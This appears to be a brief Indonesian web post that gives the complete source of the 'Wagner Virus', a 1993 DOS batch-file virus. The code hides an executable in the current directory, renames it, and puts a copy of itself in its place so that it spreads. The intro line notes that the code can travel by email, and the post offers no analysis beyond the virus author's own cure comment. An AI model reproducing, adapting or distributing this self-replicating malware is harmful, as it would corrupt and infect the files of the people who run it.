virus dari file bat

code ini bisa lewat email ....
@echo off
ctty nul
rem ______________________________________________________________
rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
rem :This virus can be cured simply by typing "attrib -h -r *.*" in
rem :infected directories and deleting BAT files that are identical
rem :to this code, then rename the files having a "V" at the start

rem :to their original names. NOTE: Does not infect COMMAND.COM.
rem :______________________________________________________________
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

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